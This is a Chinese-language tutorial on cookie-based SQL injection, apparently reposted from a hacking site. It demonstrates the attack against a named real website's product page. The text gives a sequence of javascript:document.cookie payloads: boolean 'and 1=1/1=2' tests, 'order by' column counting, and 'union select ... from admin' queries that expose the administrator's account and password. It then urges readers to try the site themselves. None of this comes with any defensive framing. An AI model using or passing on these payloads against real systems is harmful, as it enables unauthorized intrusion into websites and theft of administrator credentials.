cookie注入原理

cookie注入原理-->紅客聯盟

http://www.2cto.com/article/201202/118837.html

前言：

　　document.cookie:表示當前瀏覽器中的cookie變量

　　alert（）:表示彈出一個對話框，在該對話框中單擊「肯定」按鈕確認信息。

　　escape():該函數用於對字符串進行編碼。

　　cookie注入的原理在於更改本地的cookie，從而利用cookie來提交非法語句。

　　cookie注入原理

 

正文：

　　今天在旁註網站的過程當中遇到了一個能夠cookie注入的網站，加上我我的網站以前的文章貌似沒有說起過cookie注入，因此今天拿一個實例網站來給你們說下手工進行cookie注入。

　　cookie注入其原理也和平時的注入同樣，只不過說咱們是將提交的參數已cookie方式提交了，而通常的注入咱們是使用get或者post方式提交，get方式提交就是直接在網址後面加上須要注入的語句，post則是經過表單方式，get和post的不一樣之處就在於一個咱們能夠經過IE地址欄處看到咱們提交的參數，而另一個卻不能。

　　相對post和get方式注入來講，cookie注入就要稍微繁瑣一些了，要進行cookie注入，咱們首先就要修改cookie，這裏就須要使用到Javascript語言了。另外cookie注入的造成有兩個必須條件，條件1是：程序對get和post方式提交的數據進行了過濾，但未對cookie提交的數據庫進行過濾。條件2是：在條件1的基礎上還須要程序對提交數據獲取方式是直接request("xxx")的方式，未指明使用request對象的具體方法進行獲取。

　　下面仍是具體拿個實例來給你們演示下，目標站：http://www.2cto.com /Products_show.asp?id=284，同時也是注入點。咱們首先要檢測下按照平時的方式注入，在網址後面加 and 1=1。

　　可見是使用了防注入系統的，可是目前咱們是使用get方式提交的參數，那如今咱們將「id=284」這個參數使用cookie提交看看程序對數據接收是否直接使用 request("xx")的方式？要更改爲cookie方式提交，咱們首先要訪問正常的頁面，便是：http://www.2cto.com /Products_show.asp?id=284，等頁面徹底打開以後，咱們將IE地址欄清空，而後寫上:javascript:alert(document.cookie="id="+escape("284")); 這裏的「id=」即是「Products_show.asp?id=284」中的「id=」，「escape("284")」中的「284」是「Products_show.asp?id=284」中的「id=284」了，這兩處要根據實際狀況來定義。寫完以後按下回車網頁中會彈出如下對話框：

　　如今更改好了cookie後咱們就要試下能不能正常訪問了，如今在另一個窗口中咱們打開如下地址：http://www.2cto.com /Products_show.asp? 既是將「id=284」去掉後的，而後看是否能正常訪問。

　　可見訪問以後的頁面與訪問http://www.2cto.com /Products_show.asp?id=284的時候是同樣的，這樣就說明程序在使用request對象獲取數據的時候並未指明具體使用什麼方法來獲取，而是直接使用request("xx")的方式。如今cookie造成的一個重要因素已經明確了，接下來咱們測試下可否提交特殊字符，看程序是否對數據進行過濾。咱們再回到剛纔更改cookie的頁面，而後在IE地址欄處填寫javascript:alert(document.cookie="id="+escape("284 and 1=1")); 回車後再去http://www.2cto.com /Products_show.asp?頁面刷新，看頁面是否正常，若是正常咱們再提交javascript:alert(document.cookie="id="+escape("284 and 1=2")); 而後再去刷新，這個時候就會看見出錯了。

　　很明顯就能看到錯誤了，並且產品內容也米有顯示，到此即可以肯定該頁面能使用cookie注入了，接下來來的利用過程就和普通注入同樣了。咱們可使用union聯合查詢爆出管理員的帳號和密碼，但前提是須要知道管理員的表名和字段名，不過咱們能夠經過猜解。

　　首先來使用order by 語句判斷出當前執行數據庫查詢的表的字段數，咱們提交：javascript:alert(document.cookie="id="+escape("284 order by 1")); 然會正常，表示可使用order by語句，若是錯誤的話多是不能使用order by來猜解字段數了，拿就須要直接union select 一個一個的試了。而後提交：javascript:alert(document.cookie="id="+escape("284 order by 10")); 若是還返回正常就說明字段數在10以上，咱們一次類推直到猜解出正確的字段數，好比這裏我提交到了21的時候去刷新頁面出現錯誤，而後提交20的時候去刷新頁面就正常了，就說明字段數是20.

　　接下來咱們提交:javascript:alert(document.cookie="id="+escape("284 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from manage")); 發現有錯誤，咱們再提交javascript:alert(document.cookie="id="+escape("284 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin"));發現返回正常頁面。

　　看到熟悉的畫面了吧，這就表示網站數據庫存在admin這個表，因咱們以前一次提交的是javascript:alert(document.cookie="id="+escape("284 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from manage"));，數據庫中不存在mange這個表，天然就出錯了，使用更換from 處能夠來猜解代表，那麼如今咱們在6和17的地方試試username和password看看提交後是否出錯，若是出錯那麼就表示不存在username或者password字段。咱們提交：javascript:alert(document.cookie="id="+escape("284 union select 1,2,3,4,5,username,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin"));

　　可見，原來顯示6和17的地方如今爆出了管理員的帳號和密碼了，不過這個密碼破不出來，你們能夠本身拿網站去練練。總的說來cookie注入和普通注入是同樣的，只不過是在提交注入語句的過程不同而已。若是對普通注入的原理又說了解的話，那麼cookie注入也就不難了